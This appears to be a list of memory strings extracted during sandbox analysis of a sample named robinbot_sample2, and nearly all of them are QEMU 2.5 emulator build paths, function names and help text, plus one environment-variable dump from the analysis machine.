Source: robinbot_sample2, 9446.1.0000556ed814d000.0000556ed8371000.r-x.sdmp, robinbot_sample2, 9457.1.0000556ed814d000.0000556ed8371000.r-x.sdmp, robinbot_sample2, 9459.1.0000556ed814d000.0000556ed8371000.r-x.sdmp	Binary or memory string: helper_dxexqhelper_dxexdfp_get_digitdfp_set_FPRF_from_FRT_with_context/build/qemu-tYeErX/qemu-2.5+dfsg/target-ppc/dfp_helper.c/build/qemu-tYeErX/qemu-2.5+dfsg/target-ppc/excp_helper.cppc_cpu_exec_interruptppc_cpu_do_interrupt
Source: robinbot_sample2, 9446.1.0000556ed814d000.0000556ed8371000.r-x.sdmp, robinbot_sample2, 9457.1.0000556ed814d000.0000556ed8371000.r-x.sdmp, robinbot_sample2, 9459.1.0000556ed814d000.0000556ed8371000.r-x.sdmp	Binary or memory string: /build/qemu-tYeErX/qemu-2.5+dfsg/qom/object.c
Source: robinbot_sample2, 9446.1.00007fff798fa000.00007fff7991b000.rw-.sdmp, robinbot_sample2, 9457.1.00007fff798fa000.00007fff7991b000.rw-.sdmp, robinbot_sample2, 9459.1.00007fff798fa000.00007fff7991b000.rw-.sdmp	Binary or memory string: etc/qemu-binfmt/
Source: robinbot_sample2, 9446.1.0000556ed814d000.0000556ed8371000.r-x.sdmp, robinbot_sample2, 9457.1.0000556ed814d000.0000556ed8371000.r-x.sdmp, robinbot_sample2, 9459.1.0000556ed814d000.0000556ed8371000.r-x.sdmp	Binary or memory string: qemu_strsep
Source: robinbot_sample2, 9446.1.0000556ed814d000.0000556ed8371000.r-x.sdmp, robinbot_sample2, 9457.1.0000556ed814d000.0000556ed8371000.r-x.sdmp, robinbot_sample2, 9459.1.0000556ed814d000.0000556ed8371000.r-x.sdmp	Binary or memory string: opt->desc && opt->desc->type == QEMU_OPT_BOOL
Source: robinbot_sample2, 9446.1.00007fff798fa000.00007fff7991b000.rw-.sdmp, robinbot_sample2, 9457.1.00007fff798fa000.00007fff7991b000.rw-.sdmp, robinbot_sample2, 9459.1.00007fff798fa000.00007fff7991b000.rw-.sdmp	Binary or memory string: /usr/bin/qemu-ppc
Source: robinbot_sample2, 9446.1.0000556ed814d000.0000556ed8371000.r-x.sdmp, robinbot_sample2, 9457.1.0000556ed814d000.0000556ed8371000.r-x.sdmp, robinbot_sample2, 9459.1.0000556ed814d000.0000556ed8371000.r-x.sdmp	Binary or memory string: qemu.sstepbits
Source: robinbot_sample2, 9446.1.0000556ed814d000.0000556ed8371000.r-x.sdmp, robinbot_sample2, 9457.1.0000556ed814d000.0000556ed8371000.r-x.sdmp, robinbot_sample2, 9459.1.0000556ed814d000.0000556ed8371000.r-x.sdmp	Binary or memory string: qemu_try_memalign
Source: robinbot_sample2, 9446.1.0000556ed814d000.0000556ed8371000.r-x.sdmp, robinbot_sample2, 9457.1.0000556ed814d000.0000556ed8371000.r-x.sdmp, robinbot_sample2, 9459.1.0000556ed814d000.0000556ed8371000.r-x.sdmp	Binary or memory string: @/build/qemu-tYeErX/qemu-2.5+dfsg/util/rcu.c
Source: robinbot_sample2, 9446.1.0000556ed814d000.0000556ed8371000.r-x.sdmp, robinbot_sample2, 9457.1.0000556ed814d000.0000556ed8371000.r-x.sdmp, robinbot_sample2, 9459.1.0000556ed814d000.0000556ed8371000.r-x.sdmp	Binary or memory string: /build/qemu-tYeErX/qemu-2.5+dfsg/linux-user/mmap.ch2g_valid(ptr)ret == 0h2g_valid(host_start)h2g_valid(host_addr)target_mremaptarget_mmapmmap_find_vmacore dumpedh2g_valid(ucp)segfaulting from setup_frame
Source: robinbot_sample2, 9446.1.0000556ed814d000.0000556ed8371000.r-x.sdmp, robinbot_sample2, 9457.1.0000556ed814d000.0000556ed8371000.r-x.sdmp, robinbot_sample2, 9459.1.0000556ed814d000.0000556ed8371000.r-x.sdmp	Binary or memory string: qemu_utimens
Source: robinbot_sample2, 9446.1.0000556ed814d000.0000556ed8371000.r-x.sdmp, robinbot_sample2, 9457.1.0000556ed814d000.0000556ed8371000.r-x.sdmp, robinbot_sample2, 9459.1.0000556ed814d000.0000556ed8371000.r-x.sdmp	Binary or memory string: qemu_opts_from_qdict
Source: robinbot_sample2, 9446.1.0000556ed814d000.0000556ed8371000.r-x.sdmp, robinbot_sample2, 9457.1.0000556ed814d000.0000556ed8371000.r-x.sdmp, robinbot_sample2, 9459.1.0000556ed814d000.0000556ed8371000.r-x.sdmp	Binary or memory string: print this helpQEMU_GDBwait gdb connection to 'port'QEMU_LD_PREFIXQEMU_STACK_SIZEQEMU_CPUmodelQEMU_SET_ENVvar=valueQEMU_UNSET_ENVQEMU_ARGV0argv0QEMU_UNAMEQEMU_GUEST_BASEQEMU_RESERVED_VAQEMU_LOGitem[,...]QEMU_LOG_FILENAMElogfileQEMU_PAGESIZEpagesizesinglestepQEMU_SINGLESTEPrun in singlestep modestracelog system callsseedQEMU_VERSION/etc/qemu-binfmt/ppc
Source: robinbot_sample2, 9446.1.0000556ed814d000.0000556ed8371000.r-x.sdmp, robinbot_sample2, 9457.1.0000556ed814d000.0000556ed8371000.r-x.sdmp, robinbot_sample2, 9459.1.0000556ed814d000.0000556ed8371000.r-x.sdmp	Binary or memory string: qemu_opt_get_bool_helper
Source: robinbot_sample2, 9446.1.0000556ed814d000.0000556ed8371000.r-x.sdmp, robinbot_sample2, 9457.1.0000556ed814d000.0000556ed8371000.r-x.sdmp, robinbot_sample2, 9459.1.0000556ed814d000.0000556ed8371000.r-x.sdmp	Binary or memory string: qemu_mutex_trylock
Source: robinbot_sample2, 9446.1.0000556ed814d000.0000556ed8371000.r-x.sdmp, robinbot_sample2, 9457.1.0000556ed814d000.0000556ed8371000.r-x.sdmp, robinbot_sample2, 9459.1.0000556ed814d000.0000556ed8371000.r-x.sdmp	Binary or memory string: qemu: %s: %s
Source: robinbot_sample2, 9446.1.0000556ed814d000.0000556ed8371000.r-x.sdmp, robinbot_sample2, 9457.1.0000556ed814d000.0000556ed8371000.r-x.sdmp, robinbot_sample2, 9459.1.0000556ed814d000.0000556ed8371000.r-x.sdmp	Binary or memory string: qemu_allocate_irq
Source: robinbot_sample2, 9446.1.0000556ed814d000.0000556ed8371000.r-x.sdmp, robinbot_sample2, 9457.1.0000556ed814d000.0000556ed8371000.r-x.sdmp, robinbot_sample2, 9459.1.0000556ed814d000.0000556ed8371000.r-x.sdmp	Binary or memory string: qemu_allocate_irqs
Source: robinbot_sample2, 9446.1.0000556ed814d000.0000556ed8371000.r-x.sdmp, robinbot_sample2, 9457.1.0000556ed814d000.0000556ed8371000.r-x.sdmp, robinbot_sample2, 9459.1.0000556ed814d000.0000556ed8371000.r-x.sdmp	Binary or memory string: /build/qemu-tYeErX/qemu-2.5+dfsg/hw/core/hotplug.c
Source: robinbot_sample2, 9446.1.0000556ed814d000.0000556ed8371000.r-x.sdmp, robinbot_sample2, 9457.1.0000556ed814d000.0000556ed8371000.r-x.sdmp, robinbot_sample2, 9459.1.0000556ed814d000.0000556ed8371000.r-x.sdmp	Binary or memory string: qemu_log_mask
Source: robinbot_sample2, 9446.1.0000556ed814d000.0000556ed8371000.r-x.sdmp, robinbot_sample2, 9457.1.0000556ed814d000.0000556ed8371000.r-x.sdmp, robinbot_sample2, 9459.1.0000556ed814d000.0000556ed8371000.r-x.sdmp	Binary or memory string: qemu_set_tty_echo
Source: robinbot_sample2, 9446.1.0000556ed814d000.0000556ed8371000.r-x.sdmp, robinbot_sample2, 9457.1.0000556ed814d000.0000556ed8371000.r-x.sdmp, robinbot_sample2, 9459.1.0000556ed814d000.0000556ed8371000.r-x.sdmp	Binary or memory string: /build/qemu-tYeErX/qemu-2.5+dfsg/util/oslib-posix.c
Source: robinbot_sample2, 9446.1.0000556ed814d000.0000556ed8371000.r-x.sdmp, robinbot_sample2, 9457.1.0000556ed814d000.0000556ed8371000.r-x.sdmp, robinbot_sample2, 9459.1.0000556ed814d000.0000556ed8371000.r-x.sdmp	Binary or memory string: qemu_mutex_lock_iothread
Source: robinbot_sample2, 9446.1.0000556ed814d000.0000556ed8371000.r-x.sdmp, robinbot_sample2, 9457.1.0000556ed814d000.0000556ed8371000.r-x.sdmp, robinbot_sample2, 9459.1.0000556ed814d000.0000556ed8371000.r-x.sdmp	Binary or memory string: QEMU_UNSET_ENV
Source: robinbot_sample2, 9446.1.0000556ed814d000.0000556ed8371000.r-x.sdmp, robinbot_sample2, 9457.1.0000556ed814d000.0000556ed8371000.r-x.sdmp, robinbot_sample2, 9459.1.0000556ed814d000.0000556ed8371000.r-x.sdmp	Binary or memory string: qemu_print_log_usage
Source: robinbot_sample2, 9446.1.0000556ed814d000.0000556ed8371000.r-x.sdmp, robinbot_sample2, 9457.1.0000556ed814d000.0000556ed8371000.r-x.sdmp, robinbot_sample2, 9459.1.0000556ed814d000.0000556ed8371000.r-x.sdmp	Binary or memory string: /build/qemu-tYeErX/qemu-2.5+dfsg/translate-all.c
Source: robinbot_sample2, 9446.1.0000556ed814d000.0000556ed8371000.r-x.sdmp, robinbot_sample2, 9457.1.0000556ed814d000.0000556ed8371000.r-x.sdmp, robinbot_sample2, 9459.1.0000556ed814d000.0000556ed8371000.r-x.sdmp	Binary or memory string: qemu: Unsupported syscall: %d
Source: robinbot_sample2, 9446.1.0000556ed814d000.0000556ed8371000.r-x.sdmp, robinbot_sample2, 9457.1.0000556ed814d000.0000556ed8371000.r-x.sdmp, robinbot_sample2, 9459.1.0000556ed814d000.0000556ed8371000.r-x.sdmp	Binary or memory string: qemu_pipe
Source: robinbot_sample2, 9446.1.0000556ed814d000.0000556ed8371000.r-x.sdmp, robinbot_sample2, 9457.1.0000556ed814d000.0000556ed8371000.r-x.sdmp, robinbot_sample2, 9459.1.0000556ed814d000.0000556ed8371000.r-x.sdmp	Binary or memory string: qemu_str_to_log_mask
Source: robinbot_sample2, 9446.1.0000556ed814d000.0000556ed8371000.r-x.sdmp, robinbot_sample2, 9457.1.0000556ed814d000.0000556ed8371000.r-x.sdmp, robinbot_sample2, 9459.1.0000556ed814d000.0000556ed8371000.r-x.sdmp	Binary or memory string: /build/qemu-tYeErX/qemu-2.5+dfsg/include/qemu/bitops.h
Source: robinbot_sample2, 9446.1.0000556ed814d000.0000556ed8371000.r-x.sdmp, robinbot_sample2, 9457.1.0000556ed814d000.0000556ed8371000.r-x.sdmp, robinbot_sample2, 9459.1.0000556ed814d000.0000556ed8371000.r-x.sdmp	Binary or memory string: qemu_opt_get_size
Source: robinbot_sample2, 9446.1.0000556ed814d000.0000556ed8371000.r-x.sdmp, robinbot_sample2, 9457.1.0000556ed814d000.0000556ed8371000.r-x.sdmp, robinbot_sample2, 9459.1.0000556ed814d000.0000556ed8371000.r-x.sdmp	Binary or memory string: qemu_accept
Source: robinbot_sample2, 9446.1.0000556ed814d000.0000556ed8371000.r-x.sdmp, robinbot_sample2, 9457.1.0000556ed814d000.0000556ed8371000.r-x.sdmp, robinbot_sample2, 9459.1.0000556ed814d000.0000556ed8371000.r-x.sdmp	Binary or memory string: qemu_log_items
Source: robinbot_sample2, 9446.1.0000556ed814d000.0000556ed8371000.r-x.sdmp, robinbot_sample2, 9457.1.0000556ed814d000.0000556ed8371000.r-x.sdmp, robinbot_sample2, 9459.1.0000556ed814d000.0000556ed8371000.r-x.sdmp	Binary or memory string: os_mem_prealloc: failed to reinstall signal handler/var!exec_dir[0]/proc/self/exepassword: cannot block signalscannot fork child processcannot unblock signalsqemu_forkqemu_init_exec_dirsocket_set_fast_reuseqemu: %s: %s
Source: robinbot_sample2, 9446.1.0000556ed814d000.0000556ed8371000.r-x.sdmp, robinbot_sample2, 9457.1.0000556ed814d000.0000556ed8371000.r-x.sdmp, robinbot_sample2, 9459.1.0000556ed814d000.0000556ed8371000.r-x.sdmp	Binary or memory string: qemu_sem_destroy
Source: robinbot_sample2, 9446.1.0000556ed814d000.0000556ed8371000.r-x.sdmp, robinbot_sample2, 9457.1.0000556ed814d000.0000556ed8371000.r-x.sdmp, robinbot_sample2, 9459.1.0000556ed814d000.0000556ed8371000.r-x.sdmp	Binary or memory string: /build/qemu-tYeErX/qemu-2.5+dfsg/hw/core/qdev.c
Source: robinbot_sample2, 9446.1.0000556ed814d000.0000556ed8371000.r-x.sdmp, robinbot_sample2, 9457.1.0000556ed814d000.0000556ed8371000.r-x.sdmp, robinbot_sample2, 9459.1.0000556ed814d000.0000556ed8371000.r-x.sdmp	Binary or memory string: qemu_set_hw_version
Source: robinbot_sample2, 9446.1.0000556ed814d000.0000556ed8371000.r-x.sdmp, robinbot_sample2, 9457.1.0000556ed814d000.0000556ed8371000.r-x.sdmp, robinbot_sample2, 9459.1.0000556ed814d000.0000556ed8371000.r-x.sdmp	Binary or memory string: /build/qemu-tYeErX/qemu-2.5+dfsg/tcg/i386/tcg-target.c
Source: robinbot_sample2, 9446.1.0000556ed814d000.0000556ed8371000.r-x.sdmp, robinbot_sample2, 9457.1.0000556ed814d000.0000556ed8371000.r-x.sdmp, robinbot_sample2, 9459.1.0000556ed814d000.0000556ed8371000.r-x.sdmp	Binary or memory string: qemu.sstep
Source: robinbot_sample2, 9446.1.0000556ed814d000.0000556ed8371000.r-x.sdmp, robinbot_sample2, 9457.1.0000556ed814d000.0000556ed8371000.r-x.sdmp, robinbot_sample2, 9459.1.0000556ed814d000.0000556ed8371000.r-x.sdmp	Binary or memory string: qemu_opts_create
Source: robinbot_sample2, 9446.1.0000556ed814d000.0000556ed8371000.r-x.sdmp, robinbot_sample2, 9457.1.0000556ed814d000.0000556ed8371000.r-x.sdmp, robinbot_sample2, 9459.1.0000556ed814d000.0000556ed8371000.r-x.sdmp	Binary or memory string: /build/qemu-tYeErX/qemu-2.5+dfsg/disas.c
Source: robinbot_sample2, 9446.1.0000556ed814d000.0000556ed8371000.r-x.sdmp, robinbot_sample2, 9457.1.0000556ed814d000.0000556ed8371000.r-x.sdmp, robinbot_sample2, 9459.1.0000556ed814d000.0000556ed8371000.r-x.sdmp	Binary or memory string: qemu_init_exec_dir
Source: robinbot_sample2, 9446.1.0000556ed814d000.0000556ed8371000.r-x.sdmp, robinbot_sample2, 9457.1.0000556ed814d000.0000556ed8371000.r-x.sdmp, robinbot_sample2, 9459.1.0000556ed814d000.0000556ed8371000.r-x.sdmp	Binary or memory string: qemu_opt_get_del
Source: robinbot_sample2, 9446.1.0000556ed814d000.0000556ed8371000.r-x.sdmp, robinbot_sample2, 9457.1.0000556ed814d000.0000556ed8371000.r-x.sdmp, robinbot_sample2, 9459.1.0000556ed814d000.0000556ed8371000.r-x.sdmp	Binary or memory string: /build/qemu-tYeErX/qemu-2.5+dfsg/target-ppc/user_only_helper.c
Source: robinbot_sample2, 9446.1.0000556ed814d000.0000556ed8371000.r-x.sdmp, robinbot_sample2, 9457.1.0000556ed814d000.0000556ed8371000.r-x.sdmp, robinbot_sample2, 9459.1.0000556ed814d000.0000556ed8371000.r-x.sdmp	Binary or memory string: qemu_strnlen
Source: robinbot_sample2, 9446.1.0000556ed814d000.0000556ed8371000.r-x.sdmp, robinbot_sample2, 9457.1.0000556ed814d000.0000556ed8371000.r-x.sdmp, robinbot_sample2, 9459.1.0000556ed814d000.0000556ed8371000.r-x.sdmp	Binary or memory string: /build/qemu-tYeErX/qemu-2.5+dfsg/qom/object.cparent->class_size <= ti->class_sizetype->instance_size >= sizeof(Object)%s:%d:%s: Object %p is not an instance of type %s
Source: robinbot_sample2, 9446.1.0000556ed814d000.0000556ed8371000.r-x.sdmp, robinbot_sample2, 9457.1.0000556ed814d000.0000556ed8371000.r-x.sdmp, robinbot_sample2, 9459.1.0000556ed814d000.0000556ed8371000.r-x.sdmp	Binary or memory string: QEMU_SINGLESTEP
Source: robinbot_sample2, 9446.1.0000556ed814d000.0000556ed8371000.r-x.sdmp, robinbot_sample2, 9457.1.0000556ed814d000.0000556ed8371000.r-x.sdmp, robinbot_sample2, 9459.1.0000556ed814d000.0000556ed8371000.r-x.sdmp	Binary or memory string: qemu_set_log_filename
Source: robinbot_sample2, 9446.1.0000556ed814d000.0000556ed8371000.r-x.sdmp, robinbot_sample2, 9457.1.0000556ed814d000.0000556ed8371000.r-x.sdmp, robinbot_sample2, 9459.1.0000556ed814d000.0000556ed8371000.r-x.sdmp	Binary or memory string: /build/qemu-tYeErX/qemu-2.5+dfsg/qapi/string-input-visitor.c
Source: robinbot_sample2, 9446.1.0000556ed814d000.0000556ed8371000.r-x.sdmp, robinbot_sample2, 9457.1.0000556ed814d000.0000556ed8371000.r-x.sdmp, robinbot_sample2, 9459.1.0000556ed814d000.0000556ed8371000.r-x.sdmp	Binary or memory string: qemu_log
Source: robinbot_sample2, 9446.1.0000556ed814d000.0000556ed8371000.r-x.sdmp, robinbot_sample2, 9457.1.0000556ed814d000.0000556ed8371000.r-x.sdmp, robinbot_sample2, 9459.1.0000556ed814d000.0000556ed8371000.r-x.sdmp	Binary or memory string: /build/qemu-tYeErX/qemu-2.5+dfsg/target-ppc/cpu-models.c
Source: robinbot_sample2, 9446.1.0000556ed814d000.0000556ed8371000.r-x.sdmp, robinbot_sample2, 9457.1.0000556ed814d000.0000556ed8371000.r-x.sdmp, robinbot_sample2, 9459.1.0000556ed814d000.0000556ed8371000.r-x.sdmp	Binary or memory string: err && errp != &error_aborterrp == NULL%s: %sCould not open '%s'errp && errperror_free_or_aborterror_append_hinterror_setv/build/qemu-tYeErX/qemu-2.5+dfsg/util/qemu-error.cfname \|\| cur_loc->kind == LOC_FILE!loc->prevcur_loc == loc && loc->prev%s:%d:loc_set_fileloc_restoreloc_poploc_push_restore'on' or 'off'a numbera sizen < sizeof(buf)%.17gNo description availableSupported options:%-16s %s
Source: robinbot_sample2, 9446.1.0000556ed814d000.0000556ed8371000.r-x.sdmp, robinbot_sample2, 9457.1.0000556ed814d000.0000556ed8371000.r-x.sdmp, robinbot_sample2, 9459.1.0000556ed814d000.0000556ed8371000.r-x.sdmp	Binary or memory string: /build/qemu-tYeErX/qemu-2.5+dfsg/qobject/qint.c
Source: robinbot_sample2, 9446.1.0000556ed814d000.0000556ed8371000.r-x.sdmp, robinbot_sample2, 9457.1.0000556ed814d000.0000556ed8371000.r-x.sdmp, robinbot_sample2, 9459.1.0000556ed814d000.0000556ed8371000.r-x.sdmp	Binary or memory string: /build/qemu-tYeErX/qemu-2.5+dfsg/qobject/qdict.c
Source: robinbot_sample2, 9446.1.0000556ed814d000.0000556ed8371000.r-x.sdmp, robinbot_sample2, 9457.1.0000556ed814d000.0000556ed8371000.r-x.sdmp, robinbot_sample2, 9459.1.0000556ed814d000.0000556ed8371000.r-x.sdmp	Binary or memory string: qemu_opts_del
Source: robinbot_sample2, 9446.1.0000556ed814d000.0000556ed8371000.r-x.sdmp, robinbot_sample2, 9457.1.0000556ed814d000.0000556ed8371000.r-x.sdmp, robinbot_sample2, 9459.1.0000556ed814d000.0000556ed8371000.r-x.sdmp	Binary or memory string: qemu_opt_get_number_helper
Source: robinbot_sample2, 9446.1.0000556ed814d000.0000556ed8371000.r-x.sdmp, robinbot_sample2, 9457.1.0000556ed814d000.0000556ed8371000.r-x.sdmp, robinbot_sample2, 9459.1.0000556ed814d000.0000556ed8371000.r-x.sdmp	Binary or memory string: qemu_opt_unset
Source: robinbot_sample2, 9446.1.0000556ed814d000.0000556ed8371000.r-x.sdmp, robinbot_sample2, 9457.1.0000556ed814d000.0000556ed8371000.r-x.sdmp, robinbot_sample2, 9459.1.0000556ed814d000.0000556ed8371000.r-x.sdmp	Binary or memory string: C/build/qemu-tYeErX/qemu-2.5+dfsg/util/unicode.clen > 1 && len < 7
Source: robinbot_sample2, 9446.1.0000556ed814d000.0000556ed8371000.r-x.sdmp, robinbot_sample2, 9457.1.0000556ed814d000.0000556ed8371000.r-x.sdmp, robinbot_sample2, 9459.1.0000556ed814d000.0000556ed8371000.r-x.sdmp	Binary or memory string: qemu_thread_create
Source: robinbot_sample2, 9446.1.0000556ed814d000.0000556ed8371000.r-x.sdmp, robinbot_sample2, 9457.1.0000556ed814d000.0000556ed8371000.r-x.sdmp, robinbot_sample2, 9459.1.0000556ed814d000.0000556ed8371000.r-x.sdmp	Binary or memory string: qemu_socket
Source: robinbot_sample2, 9446.1.0000556ed814d000.0000556ed8371000.r-x.sdmp, robinbot_sample2, 9457.1.0000556ed814d000.0000556ed8371000.r-x.sdmp, robinbot_sample2, 9459.1.0000556ed814d000.0000556ed8371000.r-x.sdmp	Binary or memory string: cpu_write_elf64_qemunote
Source: robinbot_sample2, 9446.1.0000556ed814d000.0000556ed8371000.r-x.sdmp, robinbot_sample2, 9457.1.0000556ed814d000.0000556ed8371000.r-x.sdmp, robinbot_sample2, 9459.1.0000556ed814d000.0000556ed8371000.r-x.sdmp	Binary or memory string: qemu_thread_get_self
Source: robinbot_sample2, 9446.1.00007fff798fa000.00007fff7991b000.rw-.sdmp, robinbot_sample2, 9457.1.00007fff798fa000.00007fff7991b000.rw-.sdmp, robinbot_sample2, 9459.1.00007fff798fa000.00007fff7991b000.rw-.sdmp	Binary or memory string: x86_64/usr/bin/qemu-ppc/tmp/robinbot_sample2LANG=en_US.UTF-8TERM=xtermLANGUAGE=en_USMAIL=/var/mail/rootSUDO_USER=userPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:0.0SHELL=/bin/bashSUDO_COMMAND=/bin/bashSUDO_UID=1000HOME=/home/userUSERNAME=rootCOLORTERM=xfce4-terminalLOGNAME=rootXAUTHORITY=/home/user/.XauthorityUSER=rootSUDO_GID=1000/tmp/robinbot_sample2
Source: robinbot_sample2, 9446.1.0000556ed814d000.0000556ed8371000.r-x.sdmp, robinbot_sample2, 9457.1.0000556ed814d000.0000556ed8371000.r-x.sdmp, robinbot_sample2, 9459.1.0000556ed814d000.0000556ed8371000.r-x.sdmp	Binary or memory string: /build/qemu-tYeErX/qemu-2.5+dfsg/qapi/qapi-visit-core.c
Source: robinbot_sample2, 9446.1.0000556ed814d000.0000556ed8371000.r-x.sdmp, robinbot_sample2, 9457.1.0000556ed814d000.0000556ed8371000.r-x.sdmp, robinbot_sample2, 9459.1.0000556ed814d000.0000556ed8371000.r-x.sdmp	Binary or memory string: qemu_real_host_page_mask
Source: robinbot_sample2, 9446.1.0000556ed814d000.0000556ed8371000.r-x.sdmp, robinbot_sample2, 9457.1.0000556ed814d000.0000556ed8371000.r-x.sdmp, robinbot_sample2, 9459.1.0000556ed814d000.0000556ed8371000.r-x.sdmp	Binary or memory string: ppc_cpu_gdb_write_register_appleppc_cpu_gdb_write_registerppc_cpu_gdb_read_register_appleppc_cpu_gdb_read_register/build/qemu-tYeErX/qemu-2.5+dfsg/target-ppc/gdbstub.cout_asmLog items (comma separated):
Source: robinbot_sample2, 9446.1.0000556ed814d000.0000556ed8371000.r-x.sdmp, robinbot_sample2, 9457.1.0000556ed814d000.0000556ed8371000.r-x.sdmp, robinbot_sample2, 9459.1.0000556ed814d000.0000556ed8371000.r-x.sdmp	Binary or memory string: opt->desc && opt->desc->type == QEMU_OPT_SIZE
Source: robinbot_sample2, 9446.1.0000556ed814d000.0000556ed8371000.r-x.sdmp, robinbot_sample2, 9457.1.0000556ed814d000.0000556ed8371000.r-x.sdmp, robinbot_sample2, 9459.1.0000556ed814d000.0000556ed8371000.r-x.sdmp	Binary or memory string: qemu_ram_munmap
Source: robinbot_sample2, 9446.1.0000556ed814d000.0000556ed8371000.r-x.sdmp, robinbot_sample2, 9457.1.0000556ed814d000.0000556ed8371000.r-x.sdmp, robinbot_sample2, 9459.1.0000556ed814d000.0000556ed8371000.r-x.sdmp	Binary or memory string: qemu: missing argument for option '%s'
Source: robinbot_sample2, 9446.1.0000556ed814d000.0000556ed8371000.r-x.sdmp, robinbot_sample2, 9457.1.0000556ed814d000.0000556ed8371000.r-x.sdmp, robinbot_sample2, 9459.1.0000556ed814d000.0000556ed8371000.r-x.sdmp	Binary or memory string: qemu_module_dummy%s/..block-iscsiblock-curlblock-rbdblock-dmgModule is not supported by system.
Source: robinbot_sample2, 9446.1.0000556ed814d000.0000556ed8371000.r-x.sdmp, robinbot_sample2, 9457.1.0000556ed814d000.0000556ed8371000.r-x.sdmp, robinbot_sample2, 9459.1.0000556ed814d000.0000556ed8371000.r-x.sdmp	Binary or memory string: QEMU_ARGV0
Source: robinbot_sample2, 9446.1.0000556ed814d000.0000556ed8371000.r-x.sdmp, robinbot_sample2, 9457.1.0000556ed814d000.0000556ed8371000.r-x.sdmp, robinbot_sample2, 9459.1.0000556ed814d000.0000556ed8371000.r-x.sdmp	Binary or memory string: qemu_event_wait
Source: robinbot_sample2, 9446.1.0000556ed814d000.0000556ed8371000.r-x.sdmp, robinbot_sample2, 9457.1.0000556ed814d000.0000556ed8371000.r-x.sdmp, robinbot_sample2, 9459.1.0000556ed814d000.0000556ed8371000.r-x.sdmp	Binary or memory string: /build/qemu-tYeErX/qemu-2.5+dfsg/include/qom/cpu.h
Source: robinbot_sample2, 9446.1.0000556ed814d000.0000556ed8371000.r-x.sdmp, robinbot_sample2, 9457.1.0000556ed814d000.0000556ed8371000.r-x.sdmp, robinbot_sample2, 9459.1.0000556ed814d000.0000556ed8371000.r-x.sdmp	Binary or memory string: qemu_opt_get_bool_del
Source: robinbot_sample2, 9446.1.0000556ed814d000.0000556ed8371000.r-x.sdmp, robinbot_sample2, 9457.1.0000556ed814d000.0000556ed8371000.r-x.sdmp, robinbot_sample2, 9459.1.0000556ed814d000.0000556ed8371000.r-x.sdmp	Binary or memory string: qemu_open
Source: robinbot_sample2, 9446.1.0000556ed814d000.0000556ed8371000.r-x.sdmp, robinbot_sample2, 9457.1.0000556ed814d000.0000556ed8371000.r-x.sdmp, robinbot_sample2, 9459.1.0000556ed814d000.0000556ed8371000.r-x.sdmp	Binary or memory string: qemu_host_page_size
Source: robinbot_sample2, 9446.1.0000556ed814d000.0000556ed8371000.r-x.sdmp, robinbot_sample2, 9457.1.0000556ed814d000.0000556ed8371000.r-x.sdmp, robinbot_sample2, 9459.1.0000556ed814d000.0000556ed8371000.r-x.sdmp	Binary or memory string: /build/qemu-tYeErX/qemu-2.5+dfsg/thunk.c*type_ptr < max_struct_entriesid < max_struct_entriesInvalid type 0x%x
Source: robinbot_sample2, 9446.1.0000556ed814d000.0000556ed8371000.r-x.sdmp, robinbot_sample2, 9457.1.0000556ed814d000.0000556ed8371000.r-x.sdmp, robinbot_sample2, 9459.1.0000556ed814d000.0000556ed8371000.r-x.sdmp	Binary or memory string: opt->desc && opt->desc->type == QEMU_OPT_NUMBER
Source: robinbot_sample2, 9446.1.0000556ed814d000.0000556ed8371000.r-x.sdmp, robinbot_sample2, 9457.1.0000556ed814d000.0000556ed8371000.r-x.sdmp, robinbot_sample2, 9459.1.0000556ed814d000.0000556ed8371000.r-x.sdmp	Binary or memory string: qemu_opt_has_help_opt
Source: robinbot_sample2, 9446.1.0000556ed814d000.0000556ed8371000.r-x.sdmp, robinbot_sample2, 9457.1.0000556ed814d000.0000556ed8371000.r-x.sdmp, robinbot_sample2, 9459.1.0000556ed814d000.0000556ed8371000.r-x.sdmp	Binary or memory string: /build/qemu-tYeErX/qemu-2.5+dfsg/qom/cpu.c
Source: robinbot_sample2, 9446.1.0000556ed814d000.0000556ed8371000.r-x.sdmp, robinbot_sample2, 9457.1.0000556ed814d000.0000556ed8371000.r-x.sdmp, robinbot_sample2, 9459.1.0000556ed814d000.0000556ed8371000.r-x.sdmp	Binary or memory string: qemu_set_cloexec
Source: robinbot_sample2, 9446.1.0000556ed814d000.0000556ed8371000.r-x.sdmp, robinbot_sample2, 9457.1.0000556ed814d000.0000556ed8371000.r-x.sdmp, robinbot_sample2, 9459.1.0000556ed814d000.0000556ed8371000.r-x.sdmp	Binary or memory string: qemu_thread_joinqemu_thread_createqemu_sem_waitqemu_sem_timedwaitqemu_sem_postqemu_sem_destroyqemu_sem_initqemu_cond_waitqemu_cond_broadcastqemu_cond_signalqemu_cond_destroyqemu_cond_initqemu_mutex_unlockqemu_mutex_lockqemu_mutex_destroyqemu_mutex_init/build/qemu-tYeErX/qemu-2.5+dfsg/util/envlist.cenvlist != NULLenvlist_free.so%s/%s%sQTAILQ_EMPTY(&dso_init_list)Failed to open module: %s
Source: robinbot_sample2, 9446.1.0000556ed814d000.0000556ed8371000.r-x.sdmp, robinbot_sample2, 9457.1.0000556ed814d000.0000556ed8371000.r-x.sdmp, robinbot_sample2, 9459.1.0000556ed814d000.0000556ed8371000.r-x.sdmp	Binary or memory string: @/build/qemu-tYeErX/qemu-2.5+dfsg/util/rcu.crcu_reader.ctr == 0call_rcurcu_register_thread/build/qemu-tYeErX/qemu-2.5+dfsg/qobject/json-lexer.clexer->state <= ARRAY_SIZE(json_lexer)json_lexer_feed_char
Source: robinbot_sample2, 9446.1.0000556ed814d000.0000556ed8371000.r-x.sdmp, robinbot_sample2, 9457.1.0000556ed814d000.0000556ed8371000.r-x.sdmp, robinbot_sample2, 9459.1.0000556ed814d000.0000556ed8371000.r-x.sdmp	Binary or memory string: qemu_vfree
Source: robinbot_sample2, 9446.1.0000556ed814d000.0000556ed8371000.r-x.sdmp, robinbot_sample2, 9457.1.0000556ed814d000.0000556ed8371000.r-x.sdmp, robinbot_sample2, 9459.1.0000556ed814d000.0000556ed8371000.r-x.sdmp	Binary or memory string: qemu_opts_reset
Source: robinbot_sample2, 9446.1.0000556ed814d000.0000556ed8371000.r-x.sdmp, robinbot_sample2, 9457.1.0000556ed814d000.0000556ed8371000.r-x.sdmp, robinbot_sample2, 9459.1.0000556ed814d000.0000556ed8371000.r-x.sdmp	Binary or memory string: /build/qemu-tYeErX/qemu-2.5+dfsg/target-ppc/excp_helper.c
